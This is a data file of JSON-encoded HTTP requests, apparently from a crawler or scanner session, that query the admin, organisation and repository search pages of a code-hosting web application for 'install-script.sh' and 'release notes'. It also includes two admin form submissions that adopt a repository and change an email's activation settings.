{"method": "GET", "target": "/admin/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=install-script.sh&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=install-script.sh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 62", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=install-script.sh&page=1"}
|
|
||||||
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 107", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=install-script.sh&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
|
||||||
{"method": "GET", "target": "/explore/topics/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=release%20notes&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications/watching?q=release%20notes&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/teams/-/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=release%20notes&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/code?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/projects?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=release%20notes&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=release%20notes&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/projects?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=release%20notes&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/posters?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/posters?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=release%20notes&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
